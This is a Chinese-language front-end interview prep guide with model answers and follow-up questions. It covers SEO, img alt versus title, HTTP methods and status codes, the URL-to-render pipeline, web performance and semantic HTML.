# 基础篇

前端基础题型,快速过一遍即可

面试经验谈

# 一、HTML、HTTP、WEB综合问题

# 1 前端需要注意哪些SEO

⚡ 30 秒速记

  • 主线:让爬虫拿得到内容、读得懂结构、愿意展示给用户点
  • 拿得到:核心内容直出在 HTML 里(SSR / SSG),别只靠客户端 JS 渲染,别藏进 iframe
  • 读得懂:语义化标签、一个页面一个 h1、标题层级不跳、内容图写 alt
  • 愿意点:每页独立的 title 和 description;description 不参与排名,只影响点击率;keywords 谷歌早就不看了
  • 站点级:sitemap.xml、robots.txt、canonical 去重、结构化数据、Core Web Vitals 达标
  • 纠正旧说法:Google 会执行 JS,但渲染排队、收录慢;百度等对 JS 渲染支持弱,重要内容还是直出最稳

前端做 SEO,说白了就三件事:让爬虫抓得到内容、看得懂结构、愿意在搜索结果里展示。 抓得到靠 SSR 或 SSG,标题、正文、价格这些要在初始 HTML 里就有,Google 虽然会跑 JS,但要排队渲染,百度这类基本靠不住。看得懂靠语义化标签、标题层级和图片 alt。愿意展示靠每页不同的 title 和 description,后者不影响排名但影响点击率。再配上 sitemap、canonical 和页面速度,基本就齐了。

  • 合理的title、description、keywords:搜索引擎对这些标签的权重逐渐减小。在title中,强调重点即可,重要关键词不要超过2次,并且要靠前。每个页面的title应该有所不同。description应该高度概括页面内容,长度适当,避免过度堆砌关键词。每个页面的description也应该有所不同。keywords标签应列举出重要关键词即可。
    • 针对title标签,可以使用重要关键词、品牌词或描述页面内容的短语。确保标题简洁、准确地概括页面的主题,并吸引用户点击。
    • 在编写description标签时,应尽量使用简洁、具有吸引力的语句来概括页面的内容,吸引用户点击搜索结果。避免堆砌关键词,以自然流畅的方式描述页面
    • keywords标签已经不再是搜索引擎排名的重要因素,但仍然可以列举出与页面内容相关的几个重要关键词,以便搜索引擎了解页面的主题。
  • 语义化的HTML代码,符合W3C规范:使用语义化的HTML代码可以让搜索引擎更容易理解网页的结构和内容。遵循W3C规范可以提高网页的可读性和可访问性,对SEO也有好处。
  • 重要内容HTML代码放在最前:搜索引擎抓取HTML的顺序是从上到下,有些搜索引擎对抓取长度有限制。因此,将重要的内容放在HTML的前面,确保重要内容一定会被抓取。
  • 重要内容不要用js输出:爬虫不会执行JavaScript,所以重要的内容不应该依赖于通过JavaScript动态生成。确保重要内容在HTML中静态存在。
  • 少用iframe:搜索引擎通常不会抓取iframe中的内容,因此应该尽量减少iframe的使用,特别是对于重要的内容。
  • 非装饰性图片必须加alt:为非装饰性图片添加alt属性,可以为搜索引擎提供关于图片内容的描述,同时也有助于可访问性。
  • 提高网站速度:网站速度是搜索引擎排序的一个重要指标

💬 面试官追问

  • 一个 React 单页应用,右键查看源代码只有一个 <div id="root">,SEO 会有什么问题?

    爬虫第一次抓到的是空壳。Google 会把页面放进渲染队列,可能几天后才执行 JS 看到内容;百度、很多社交平台的卡片抓取根本不跑 JS。要被搜到的页面上 SSR 或 SSG,比如 Next.js 的服务端渲染。

  • 五千个商品页用的是同一个 title,会怎样?

    搜索引擎会当成大量重复页,挑一个收录、其他的降权或不展示。用模板拼出差异化标题就行,比如 商品名 - 品类 - 品牌,关键词放前面,长度控制在 30 个汉字左右,超出会被截断。

  • 运营让在 <meta name="keywords"> 里塞二十个词,有用吗?

    对 Google 没用,它 2009 年就公开说不看这个标签了。塞多了在一些搜索引擎眼里还像作弊。精力放在 title、正文和内链上更值。

  • 同一个商品有 ?from=a 和 ?from=b 两个 URL,怎么防止权重被分散?

    在页面里加 <link rel="canonical" href="不带参数的地址">,告诉搜索引擎这几个其实是同一页。跟踪参数多的站,这一条比调 meta 有用得多。

  • 页面速度跟 SEO 有关系吗?

    有。Google 把 Core Web Vitals 算进排名信号,LCP、INP、CLS 都要达标;速度慢还会让爬虫在你站上的抓取量变少。它不是决定性因素,内容相关性还是第一位,但同等条件下快的占便宜。

# 2 <img>的title和alt有什么区别

⚡ 30 秒速记

  • alt 是图片的替身:图挂了显示它、读屏器读它、搜索引擎按它理解图片,属于内容
  • title 是补充说明:悬停才出现,手机和键盘用户基本看不到,属于锦上添花
  • alt="" = 明确声明「装饰图」,读屏器跳过;完全不写 alt 属性,有的读屏器会去念文件名
  • alt 只用在 img / area / input[type=image] 上;title 是全局属性,哪个标签都能写
  • 两个都写成一样的文案,读屏器可能念两遍,别重复

alt 是图片看不到时的替代文字,title 是鼠标悬停时冒出来的提示,前者是内容,后者只是补充。 图片加载失败、读屏器访问、搜索引擎理解图片,用的都是 alt,所以内容图一定要写,而且要写这张图在这里想表达什么,不是堆关键词。title 只在悬停时显示,触屏设备上根本触发不了,重要信息别只放在它里面。纯装饰的图写 alt="",读屏器会直接跳过,这和不写 alt 是两回事。

  • title属性:title属性是HTML元素通用的属性,适用于各种元素,不仅仅是<img>标签。当鼠标滑动到元素上时,浏览器会显示title属性的内容,提供额外的信息或解释,帮助用户了解元素的用途或含义。对于<img>标签,鼠标悬停在图片上时会显示title属性的内容。

  • alt属性:alt属性是<img>标签的特有属性,用于提供图片的替代文本描述。当图片无法加载时,浏览器会显示alt属性的内容,或者在可访问性场景中,读屏器会读取alt属性的内容。alt属性的主要目的是提高图片的可访问性,使无法查看图片的用户也能了解图片的内容或含义。除了纯装饰性图片外,所有<img>标签都应该设置有意义的alt属性值。

  • 补充答案:

    • title属性主要用于提供额外的信息或提示,是对图片的补充描述,可以用于提供更详细的说明,如图片的来源、作者、相关信息等。它不是必需的,但可以增强用户体验,特别是在需要显示更多信息时。
    • alt属性是图片内容的等价描述,应该简洁明了地描述图片所表达的信息。它对于可访问性至关重要,确保无障碍用户能够理解图片的含义,同时也是搜索引擎重点分析的内容。在设置alt属性时,应该避免过度堆砌关键词,而是提供准确、有意义的描述。

💬 面试官追问

  • alt="" 和不写 alt 有什么区别?

    alt="" 是告诉读屏器这是装饰图,跳过不念。不写 alt 属性,读屏器不知道它重不重要,有的会把文件名 IMG_2031.jpg 念出来,体验很差,也是无障碍检测的报错项。

  • 商品图同时写了 alt="红色连衣裙" 和 title="红色连衣裙",有问题吗?

    有的读屏器会念两遍。title 没有额外信息就删掉,要补充的话写不同的内容,比如拍摄者或尺码说明。

  • 为什么不能用 title 代替 alt?

    title 要靠鼠标悬停才显示,手机上没有悬停,键盘用户也很难触发,读屏器对它的支持也不统一。图片加载失败时浏览器显示的是 alt,不是 title。

  • 首页两百张图都没写 alt,怎么批量修?

    先分类:传达信息的图补准确描述,纯装饰的图(背景花纹、分割线)写 alt="" 或者改成 CSS 背景。千万别用脚本把文件名或同一串关键词批量填进去,等于没修。

  • 图标按钮 <button><img src="close.svg"></button>,alt 应该怎么写?

    写按钮的功能,alt="关闭",而不是描述图形 alt="一个叉号"。图片是按钮唯一的内容,它的 alt 就成了按钮的名字。

# 3 HTTP的几种请求方法用途

⚡ 30 秒速记

  • 两个概念先说清:安全 = 不改服务端状态;幂等 = 调 1 次和调 N 次,最终状态一样
  • GET 读、安全、幂等、可缓存;HEAD 是只要响应头的 GET,常用来探测资源和大小
  • POST 提交,不幂等,连点两次可能下两单;PUT 整体替换,幂等;DELETE 幂等;PATCH 局部更新,规范不保证幂等
  • OPTIONS 最常见的身份是 CORS 预检;CONNECT 给代理建隧道;TRACE 基本都被禁用
  • 工程价值:只有幂等方法网关和客户端才敢自动重试;POST 想安全重试要靠 Idempotency-Key

请求方法表达的是「你想对资源做什么」,面试真正要讲清的是安全和幂等这两个属性。 GET 和 HEAD 只读,安全又幂等;PUT 是整体替换,发几次结果都一样,所以幂等;DELETE 删一次和删十次最后都是「不存在」,也算幂等;POST 每次都可能新建一条,不幂等。这个区别直接影响重试策略:网络超时后网关敢自动重发 GET、PUT,但不敢重发 POST,下单接口要防重就得自己加幂等键。

  • GET方法:
    • 用途:发送一个请求来获取服务器上的某一资源。
    • 面试可能涉及的问题:
      1. GET方法的特点是什么?
        • GET方法是HTTP的一种请求方法,用于从服务器获取资源。
        • 它是一种幂等的方法,多次发送相同的GET请求会返回相同的结果。
      2. GET请求和POST请求的区别是什么?
        • GET请求将参数附加在URL的查询字符串中,而POST请求将参数放在请求体中。
        • GET请求的数据会显示在URL中,而POST请求的数据不会显示在URL中。
        • GET请求一般用于获取数据,而POST请求一般用于提交数据。
      3. GET请求可以有请求体吗?
        • 根据HTTP规范,GET请求不应该有请求体,参数应该通过URL的查询字符串传递。
      4. GET请求的参数如何传递?
        • GET请求的参数可以通过URL的查询字符串传递,例如:/api/users?id=123&name=poetry。
      5. GET请求的安全性和幂等性如何保证?
        • GET请求不会对服务器端的资源产生副作用,因此被视为安全的。
        • GET请求是幂等的,多次发送相同的GET请求不会对服务器端产生影响。
  • POST方法:
    • 用途:向URL指定的资源提交数据或附加新的数据。
    • 面试可能涉及的问题:
      1. POST方法的特点是什么?
        • POST方法是HTTP的一种请求方法,用于向服务器提交数据。
        • 它不是幂等的,多次发送相同的POST请求可能会产生不同的结果。
      2. POST请求和GET请求的区别是什么?
        • POST请求将参数放在请求体中,而GET请求将参数附加在URL的查询字符串中。
        • POST请求的数据不会显示在URL中,而GET请求的数据会显示在URL中。
        • POST请求一般用于提交数据,而GET请求一般用于获取数据。
      3. POST请求的请求体如何传递数据?
        • POST请求的数据可以通过请求体以表单形式传递,或者以JSON等格式传递。
      4. POST请求的安全性和幂等性如何保证?
        • POST请求可能对服务器端的资源产生副作用,因此被视为不安全的。
        • POST请求不是幂等的,多次发送相同的POST请求可能会对服务器端产生影响。
  • PUT方法:
    • 用途:将数据发送给服务器,并将其存储在指定的URL位置。与POST方法不同的是,PUT方法指定了资源在服务器上的位置。
    • 面试可能涉及的问题:
      • PUT方法的特点是什么?
        • PUT方法是HTTP的一种请求方法,用于将数据发送给服务器并存储在指定的URL位置。
        • 它是一种幂等的方法,多次发送相同的PUT请求会对服务器端产生相同的结果。
      • PUT请求和POST请求有什么区别?
        • PUT请求用于指定资源在服务器上的位置,而POST请求没有指定位置。
        • PUT请求一般用于更新或替换资源,而POST请求一般用于新增资源或提交数据。
      • PUT请求的幂等性如何保证?
        • PUT请求的幂等性保证是由服务器端实现的。
        • 服务器端应该根据请求中的资源位置来处理请求,多次发送相同的PUT请求会对该位置上的资源进行相同的更新或替换操作。
  • HEAD方法
    • 只请求页面的首部
  • DELETE方法
    • 删除服务器上的某资源
  • OPTIONS方法
    • 它用于获取当前URL所支持的方法。如果请求成功,会有一个Allow的头包含类似“GET,POST”这样的信息
  • TRACE方法
    • TRACE方法被用于激发一个远程的,应用层的请求消息回路
  • CONNECT方法
    • 把请求连接转换到透明的TCP/IP通道

💬 面试官追问

  • GET 能不能带请求体?

    规范没给它定义语义,很多代理和网关会直接丢掉,浏览器的 fetch 更直接,GET 带 body 会抛 TypeError。查询条件复杂到 URL 放不下,就改用 POST /search。

  • DELETE 第二次调用返回 404,还算幂等吗?

    算。幂等说的是服务器最终状态一样,不是每次响应一样。第一次删掉返回 204,第二次返回 404,资源都是不存在,状态没变。

  • 下单接口用户网络差连点了三次,生成了三个订单,怎么从接口层面防?

    前端按钮防抖只是第一道,真正靠的是幂等键:客户端生成一个 UUID 放在 Idempotency-Key 请求头里,服务端记下来,同一个键第二次进来直接返回第一次的结果。

  • 跨域请求预检通过了,真正发 DELETE 时浏览器还是报 CORS 错误,查哪里?

    先看预检响应的 Access-Control-Allow-Methods 里有没有 DELETE,再看真实请求的响应有没有带 Access-Control-Allow-Origin。很多后端只在 OPTIONS 上配了头,真实请求的响应漏了。

  • PUT 和 PATCH 选哪个?

    前端只改了昵称,用 PATCH 传 { nickname };要用一份完整数据覆盖资源用 PUT。注意 PUT 漏传的字段会被清空,这是线上很常见的坑。

# 4 从浏览器地址栏输入url到显示页面的步骤

⚡ 30 秒速记

  • 主线:URL 解析 → 查缓存 → DNS 拿 IP → TCP 三次握手 →(HTTPS 再做 TLS 握手)→ 发请求 → 服务端响应 → 浏览器解析渲染
  • 渲染:HTML → DOM、CSS → CSSOM,合成渲染树 → 布局 → 绘制 → 合成上屏
  • 缓存贯穿全程:DNS 缓存、强缓存命中连请求都不发、协商缓存发请求拿 304
  • 普通 script 阻塞 HTML 解析,CSS 阻塞渲染;defer 解析完按顺序执行,async 下载完就执行
  • HTTP/2 能复用连接省掉握手;HTTP/3 跑在 QUIC 上,TLS 1.3 握手合进连接建立
  • 答法:先串主线,再主动挑一环深入,比如 DNS 递归、TLS 握手或关键渲染路径

从输入 URL 到页面出来,可以拆成两大段:网络把 HTML 拿回来,浏览器把它画出来。 网络这段是先查缓存,再 DNS 拿到 IP,TCP 三次握手,HTTPS 还要多一轮 TLS 握手,然后发请求、服务器返回。渲染这段是边下载边解析 HTML 建 DOM,同时拿 CSS 建 CSSOM,合成渲染树后做布局、绘制、合成。遇到没加 defer 的 script 解析会停下来等它下载执行,这就是脚本要放底部或者加 defer 的原因。我一般说完主线会挑一环展开,比如缓存或者关键渲染路径。

时序图 · 5 个参与者 / 12 步
alt 强缓存命中未命中或已过期alt 资源没变资源有更新浏览器浏览器本地缓存本地缓存DNSDNS服务器服务器渲染引擎渲染引擎查强缓存1直接返回 HTML2解析域名3返回 IP4TCP 三次握手5TLS 握手,协商密钥6发 GET 请求,带缓存校验头7304,继续用本地副本8200 和新的 HTML9交给渲染引擎10建 DOM 和 CSSOM,合成渲染树11布局、绘制、合成上屏12缓存只省网络段,渲染这段每次都要走

基础版本

  • 浏览器根据请求的URL交给DNS域名解析,找到真实IP,向服务器发起请求;
  • 服务器交给后台处理完成后返回数据,浏览器接收文件(HTML、JS、CSS、图象等);
  • 浏览器对加载到的资源(HTML、JS、CSS等)进行语法解析,建立相应的内部数据结构(如HTML的DOM);
  • 载入解析到的资源文件,渲染页面,完成。

详细版

  1. 在浏览器地址栏输入URL
  2. 浏览器查看缓存,如果请求资源在缓存中并且新鲜,跳转到转码步骤
    1. 如果资源未缓存,发起新请求
    2. 如果已缓存,检验是否足够新鲜,足够新鲜直接提供给客户端,否则与服务器进行验证。
    3. 检验新鲜通常有两个HTTP头进行控制Expires和Cache-Control:
      • HTTP1.0提供Expires,值为一个绝对时间表示缓存新鲜日期
      • HTTP1.1增加了Cache-Control: max-age=,值为以秒为单位的最大新鲜时间
  3. 浏览器解析URL获取协议,主机,端口,path
  4. 浏览器组装一个HTTP(GET)请求报文
  5. 浏览器获取主机ip地址,过程如下:
    1. 浏览器缓存
    2. 本机缓存
    3. hosts文件
    4. 路由器缓存
    5. ISP DNS缓存
    6. DNS递归查询(可能存在负载均衡导致每次IP不一样)
  6. 打开一个socket与目标IP地址,端口建立TCP链接,三次握手如下:
    1. 客户端发送一个TCP的SYN=1,Seq=X的包到服务器端口
    2. 服务器发回SYN=1, ACK=X+1, Seq=Y的响应包
    3. 客户端发送ACK=Y+1, Seq=Z
  7. TCP链接建立后发送HTTP请求
  8. 服务器接受请求并解析,将请求转发到服务程序,如虚拟主机使用HTTP Host头部判断请求的服务程序
  9. 服务器检查HTTP请求头是否包含缓存验证信息如果验证缓存新鲜,返回304等对应状态码
  10. 处理程序读取完整请求并准备HTTP响应,可能需要查询数据库等操作
  11. 服务器将响应报文通过TCP连接发送回浏览器
  12. 浏览器接收HTTP响应,然后根据情况选择关闭TCP连接或者保留重用,关闭TCP连接的四次握手如下:
    1. 主动方发送Fin=1, Ack=Z, Seq= X报文
    2. 被动方发送ACK=X+1, Seq=Z报文
    3. 被动方发送Fin=1, ACK=X, Seq=Y报文
    4. 主动方发送ACK=Y, Seq=X报文
  13. 浏览器检查响应状态吗:是否为1XX,3XX, 4XX, 5XX,这些情况处理与2XX不同
  14. 如果资源可缓存,进行缓存
  15. 对响应进行解码(例如gzip压缩)
  16. 根据资源类型决定如何处理(假设资源为HTML文档)
  17. 解析HTML文档,构件DOM树,下载资源,构造CSSOM树,执行js脚本,这些操作没有严格的先后顺序,以下分别解释
  18. 构建DOM树:
    1. Tokenizing:根据HTML规范将字符流解析为标记
    2. Lexing:词法分析将标记转换为对象并定义属性和规则
    3. DOM construction:根据HTML标记关系将对象组成DOM树
  19. 解析过程中遇到图片、样式表、js文件,启动下载
  20. 构建CSSOM树:
    1. Tokenizing:字符流转换为标记流
    2. Node:根据标记创建节点
    3. CSSOM:节点创建CSSOM树
  21. 根据DOM树和CSSOM树构建渲染树 (opens new window):
    1. 从DOM树的根节点遍历所有可见节点,不可见节点包括:1)script,meta这样本身不可见的标签。2)被css隐藏的节点,如display: none
    2. 对每一个可见节点,找到恰当的CSSOM规则并应用
    3. 发布可视节点的内容和计算样式
  22. js解析如下:
    1. 浏览器创建Document对象并解析HTML,将解析到的元素和文本节点添加到文档中,此时document.readystate为loading
    2. HTML解析器遇到没有async和defer的script时,将他们添加到文档中,然后执行行内或外部脚本。这些脚本会同步执行,并且在脚本下载和执行时解析器会暂停。这样就可以用document.write()把文本插入到输入流中。同步脚本经常简单定义函数和注册事件处理程序,他们可以遍历和操作script和他们之前的文档内容
    3. 当解析器遇到设置了async属性的script时,开始下载脚本并继续解析文档。脚本会在它下载完成后尽快执行,但是解析器不会停下来等它下载。异步脚本禁止使用document.write(),它们可以访问自己script和之前的文档元素
    4. 当文档完成解析,document.readState变成interactive
    5. 所有defer脚本会按照在文档出现的顺序执行,延迟脚本能访问完整文档树,禁止使用document.write()
    6. 浏览器在Document对象上触发DOMContentLoaded事件
    7. 此时文档完全解析完成,浏览器可能还在等待如图片等内容加载,等这些内容完成载入并且所有异步脚本完成载入和执行,document.readState变为complete,window触发load事件
  23. 显示页面(HTML解析过程中会逐步显示页面)

详细简版

  1. 从浏览器接收url到开启网络请求线程(这一部分可以展开浏览器的机制以及进程与线程之间的关系)
  2. 开启网络线程到发出一个完整的HTTP请求(这一部分涉及到dns查询,TCP/IP请求,五层因特网协议栈等知识)
  3. 从服务器接收到请求到对应后台接收到请求(这一部分可能涉及到负载均衡,安全拦截以及后台内部的处理等等)
  4. 后台和前台的HTTP交互(这一部分包括HTTP头部、响应码、报文结构、cookie等知识,可以提下静态资源的cookie优化,以及编码解码,如gzip压缩等)
  5. 单独拎出来的缓存问题,HTTP的缓存(这部分包括http缓存头部,ETag,catch-control等)
  6. 浏览器接收到HTTP数据包后的解析流程(解析html-词法分析然后解析成dom树、解析css生成css规则树、合并成render树,然后layout、painting渲染、复合图层的合成、GPU绘制、外链资源的处理、loaded和DOMContentLoaded等)
  7. CSS的可视化格式模型(元素的渲染规则,如包含块,控制框,BFC,IFC等概念)
  8. JS引擎解析过程(JS的解释阶段,预处理阶段,执行阶段生成执行上下文,VO,作用域链、回收机制等等)
  9. 其它(可以拓展不同的知识模块,如跨域,web安全,hybrid模式等等内容)

💬 面试官追问

  • 强缓存命中了,是不是就不用解析 HTML 了?

    不是。缓存省掉的只是网络那一段,拿到的 HTML 照样要解析、建 DOM、算样式、布局、绘制。真正连渲染都省掉的是浏览器的往返缓存 bfcache,那是前进后退时整页从内存恢复。

  • 用户反馈回车后白屏好几秒,Network 面板里第一个请求一直卡着,怎么看是哪一段慢?

    点开那个请求看 Timing:DNS Lookup、Initial connection、SSL、Waiting for server response(也就是 TTFB)、Content Download 分得很清楚。哪段长就查哪段,TTFB 长是服务端的事,前端改渲染没用。

  • HTTPS 比 HTTP 多了什么步骤?

    TCP 握手之后多一轮 TLS 握手,交换证书、协商密钥。TLS 1.2 要两个往返,TLS 1.3 降到一个;HTTP/3 用 QUIC,把传输层握手和 TLS 合在一起做,再访问时还能 0-RTT。

  • DOMContentLoaded 和 load 差在哪?

    DOMContentLoaded 是 HTML 解析完、defer 脚本跑完就触发,不等图片;load 要等图片、iframe 这些子资源全部加载完。首屏逻辑挂在 load 上,一张大图就能把它拖慢好几秒。

  • CSS 文件很大,会阻塞 HTML 解析吗?

    不阻塞解析,但阻塞渲染,CSSOM 没好浏览器不会画。它还会间接阻塞脚本:后面的同步 script 要等前面的 CSS 加载完才执行,因为脚本可能读样式。

# 5 如何进行网站性能优化

⚡ 30 秒速记

  • 先量后改:Lighthouse 看实验室数据,CrUX / 自己的 RUM 看真实用户数据,别凭感觉优化
  • 网络:CDN、HTTP/2 或 HTTP/3、gzip / brotli、强缓存 + 文件名带 hash、preconnect
  • 资源:路由级代码分割、Tree Shaking、图片 WebP / AVIF + 响应式尺寸 + loading="lazy"、字体子集化
  • 渲染:关键 CSS 内联、脚本 defer、首屏大图 fetchpriority="high"、长列表虚拟滚动
  • 运行时:长任务拆分、防抖节流、重计算丢 Web Worker、避免读写交替触发强制布局
  • 指标:LCP ≤ 2.5s、INP ≤ 200ms、CLS ≤ 0.1;INP 在 2024 年 3 月替换了 FID

性能优化我会先量化再动手,按「网络、资源、渲染、运行时」四层去找瓶颈,而不是把几十条清单挨个做一遍。 先用 Lighthouse 和 Performance 面板定位问题,再看真实用户的 Core Web Vitals。网络层上 CDN、压缩和长缓存;资源层做代码分割、图片换格式和懒加载;渲染层关注首屏大图和阻塞资源;运行时盯长任务和交互延迟。很多老清单要更新理解,比如「合并文件减少请求」在 HTTP/2 下就没那么绝对了,合太大反而浪费缓存。

  • content方面
    • 减少HTTP请求:合并文件、CSS精灵、inline Image
    • 减少DNS查询:DNS缓存、将资源分布到恰当数量的主机名
    • 减少DOM元素数量
  • Server方面
    • 使用CDN
    • 配置ETag
    • 对组件使用Gzip压缩
  • Cookie方面
    • 减小cookie大小
  • css方面
    • 将样式表放到页面顶部
    • 不使用CSS表达式
    • 使用<link>不使用@import
  • Javascript方面
    • 将脚本放到页面底部
    • 将javascript和css从外部引入
    • 压缩javascript和css
    • 删除不需要的脚本
    • 减少DOM访问
  • 图片方面
    • 优化图片:根据实际颜色需要选择色深、压缩
    • 优化css精灵
    • 不要在HTML中拉伸图片

你有用过哪些前端性能优化的方法?

  • 减少http请求次数:CSS Sprites, JS、CSS源码压缩、图片大小控制合适;网页Gzip,CDN托管,data缓存 ,图片服务器。
  • 前端模板 JS+数据,减少由于HTML标签导致的带宽浪费,前端用变量保存AJAX请求结果,每次操作本地变量,不用请求,减少请求次数
  • 用innerHTML代替DOM操作,减少DOM操作次数,优化javascript性能。
  • 当需要设置的样式很多时设置className而不是直接操作style
  • 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作
  • 避免使用CSS Expression(css表达式)又称Dynamic properties(动态属性)
  • 图片预加载,将样式表放在顶部,将脚本放在底部 加上时间戳
  • 避免在页面的主体布局中使用table,table要等其中的内容完全下载之后才会显示出来,显示比div+css布局慢

谈谈性能优化问题

  • 代码层面:避免使用css表达式,避免使用高级选择器,通配选择器
  • 缓存利用:缓存Ajax,使用CDN,使用外部js和css文件以便缓存,添加Expires头,服务端配置Etag,减少DNS查找等
  • 请求数量:合并样式和脚本,使用css图片精灵,初始首屏之外的图片资源按需加载,静态资源延迟加载
  • 请求带宽:压缩文件,开启GZIP

前端性能优化最佳实践?

  • 性能评级工具(PageSpeed 或 YSlow)
  • 合理设置 HTTP 缓存:Expires 与 Cache-control
  • 静态资源打包,开启 Gzip 压缩(节省响应流量)
  • CSS3 模拟图像,图标base64(降低请求数)
  • 模块延迟(defer)加载/异步(async)加载
  • Cookie 隔离(节省请求流量)
  • localStorage(本地存储)
  • 使用 CDN 加速(访问最近服务器)
  • 启用 HTTP/2(多路复用,并行加载)
  • 前端自动化(gulp/webpack)

💬 面试官追问

  • 都 HTTP/2 了,还要把二十个 JS 合成一个大文件吗?

    一般不用。HTTP/2 一个连接能并行传多个文件,请求数的成本小了很多。合成一个大包反而改一行代码全部缓存失效,首屏还要下载用不到的代码。合理的做法是按路由和公共依赖拆成十几个块。

  • LCP 很差,首屏是一张大图,怎么改?

    图片换 AVIF / WebP 并按屏幕给合适尺寸,给它加 fetchpriority="high",千万别给首屏图加 loading="lazy"。如果图片地址是 JS 算出来的,浏览器发现得晚,改成直接写在 HTML 里或者加 <link rel="preload">。

  • 网络面板很干净,但点按钮要卡半秒才有反应,问题在哪?

    这是 INP 的问题,锅在主线程。Performance 面板录一下,找超过 50ms 的长任务,通常是一次性渲染大列表或者同步计算太重。拆成小任务、用 scheduler.yield() 或 setTimeout 让出主线程,重计算挪到 Web Worker。

  • 页面加载时内容一直往下跳,用户老点错,怎么治?

    这是 CLS。图片和视频写上 width / height 或者 aspect-ratio 占好位,广告位给固定高度,字体用 font-display: optional 或者调 size-adjust 减少换字体时的跳动。

  • 静态资源想设一年缓存,又怕发版后用户拿到旧文件?

    文件名带内容 hash,比如 app.3f2a9c.js,配 Cache-Control: max-age=31536000, immutable。HTML 本身设 no-cache 每次协商,发版后 HTML 引用新文件名,旧缓存自然就不用了。

# 6 HTTP状态码及其含义

⚡ 30 秒速记

  • 五类:1xx 信息、2xx 成功、3xx 重定向 / 缓存、4xx 客户端问题、5xx 服务端问题
  • 301 永久,浏览器会缓存,搜索引擎转移权重;302 临时;要保持原请求方法用 308 / 307
  • 304 是协商缓存:发了请求、带着 If-None-Match 问,服务器说没变;强缓存命中压根不发请求
  • 401 没认证(没登录或 token 过期);403 认证了但没权限
  • 201 创建成功、202 已接收异步处理、204 成功但没有响应体
  • 维护或过载返回 503 并带 Retry-After,搜索引擎知道是临时的,别返回 404 或 200 空页

状态码是服务器告诉客户端「结果怎样、接下来该干嘛」,面试一般不考背表,考的是几组容易混的。 第一组是 301 和 302:301 是永久搬家,浏览器会缓存,下次直接跳;302 临时。第二组是 304 和强缓存:304 是发了请求服务器说没变,强缓存是连请求都不发。第三组是 401 和 403:401 是我不知道你是谁,403 是知道你是谁但你没权限。前端拦截器里一般 401 跳登录,403 提示无权限,处理逻辑完全不一样。

  • 1XX:信息状态码
    • 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息
  • 2XX:成功状态码
    • 200 OK 正常返回信息
    • 201 Created 请求成功并且服务器创建了新的资源
    • 202 Accepted 服务器已接受请求,但尚未处理
  • 3XX:重定向
    • 301 Moved Permanently 请求的网页已永久移动到新位置。
    • 302 Found 临时性重定向。
    • 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI。
    • 304 Not Modified 自从上次请求后,请求的网页未修改过。
  • 4XX:客户端错误
    • 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。
    • 401 Unauthorized 请求未授权。
    • 403 Forbidden 禁止访问。
    • 404 Not Found 找不到如何与 URI 相匹配的资源。
  • 5XX: 服务器错误
    • 500 Internal Server Error 最常见的服务器端错误。
    • 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)

💬 面试官追问

  • 域名迁移还在灰度,SEO 同学要求直接上 301,你怎么看?

    先用 302,验证稳定再切 301。301 会被浏览器长期缓存,配错了用户本地一直跳错地方,服务端改了也没用,只能等缓存过期或让用户清缓存。

  • 表单 POST 提交后用 302 跳转,新地址收到的是 GET,为什么?

    历史原因,浏览器遇到 301 / 302 会把 POST 改成 GET 去请求新地址。想保留原方法和请求体用 307(临时)或 308(永久)。提交后跳结果页反而正好用 303,明确要求改用 GET。

  • 导出报表要后台跑几分钟,接口应该返回什么?

    返回 202 Accepted,响应里给一个任务 ID 或查询地址,前端轮询任务状态。201 表示资源已经建好了,这时候还没有,不能提前说。

  • 前端拦截器里 401 和 403 怎么分别处理?

    401 先尝试用 refresh token 换新 token 重放请求,失败再跳登录页;403 不要跳登录,提示「没有权限」就行,跳了用户重新登录还是没权限,会来回死循环。

  • 大促时监控里全是 500,怎么让排查更快?

    让服务端把过载、限流的情况区分出来:限流返回 429,服务暂时不可用返回 503 并带 Retry-After,真正的代码异常才是 500。客户端也能据此决定要不要退避重试。

# 7 语义化的理解

⚡ 30 秒速记

  • 一句话:用对的标签描述内容是什么,让读屏器、爬虫、阅读模式这些机器也能看懂页面
  • 无障碍:header / nav / main / footer 会映射成地标,读屏用户靠它跳转;button 自带键盘和焦点支持
  • SEO:标题层级就是文档大纲,article、main 帮搜索引擎识别正文
  • 可维护:去掉 CSS 页面结构依然看得懂,代码一眼知道哪块是什么
  • 误区:语义化不是「不用 div」,纯布局容器就该用 div;乱用 section 一样是语义错误

语义化就是用标签说明内容是什么,比如导航用 nav、按钮用 button、正文用 article,而不是全靠 div 加 class 名。 最大的收益其实是无障碍:读屏器靠这些标签生成地标,用户能一键跳到导航或正文;原生 button 自带 Tab 聚焦和回车触发,div 模拟的按钮这些都得自己补。其次是 SEO 和维护性。但我不会为了语义而语义,只做布局的包裹层用 div 才是对的,没有标题的广告块套 section 反而让大纲变乱。

语义化是指在编写HTML和CSS代码时,通过恰当的选择标签和属性,使得代码更具有语义性和可读性,使得页面结构和内容更加清晰明了。语义化的目的是让页面具备良好的可访问性、可维护性和可扩展性。

语义化的重要性体现在以下几个方面:

  1. 可访问性(Accessibility):通过使用恰当的标签和属性,可以提高页面的可访问性,使得辅助技术(如屏幕阅读器)能够更好地理解和解析页面内容,使得残障用户能够正常浏览和使用网页。
  2. 搜索引擎优化(SEO):搜索引擎更喜欢能够理解和解析的页面内容,语义化的HTML结构可以提高页面在搜索引擎结果中的排名,增加网页的曝光和访问量。
  3. 代码可读性和可维护性:使用语义化的标签和属性,可以让代码更易于阅读和理解,提高代码的可维护性。开发人员可以更快速地定位和修改特定功能或内容。
  4. 设备兼容性:不同设备和平台对于网页的渲染和解析方式有所不同,语义化的代码可以增加网页在各种设备上的兼容性,确保页面在不同环境中的正确显示和使用。

语义化在前端开发中的具体表现和实践包括以下几个方面:

  1. 选择合适的HTML标签:在构建页面结构时,选择恰当的HTML标签来描述内容的含义。例如,使用<header>表示页面的页眉,<nav>表示导航栏,<article>表示独立的文章内容等。
  2. 使用有意义的标签和属性:避免滥用<div>标签,而是选择更具语义的标签来表达内容的含义。同时,合理使用标签的属性,如alt属性用于图像的替代文本,title属性用于提供额外的信息等。
  3. 结构和层次化:通过正确嵌套和组织HTML元素,构建清晰的页面结构和层次关系。使用语义化的父子关系,让内容的层级关系更加明确,便于样式和脚本的编写和维护。
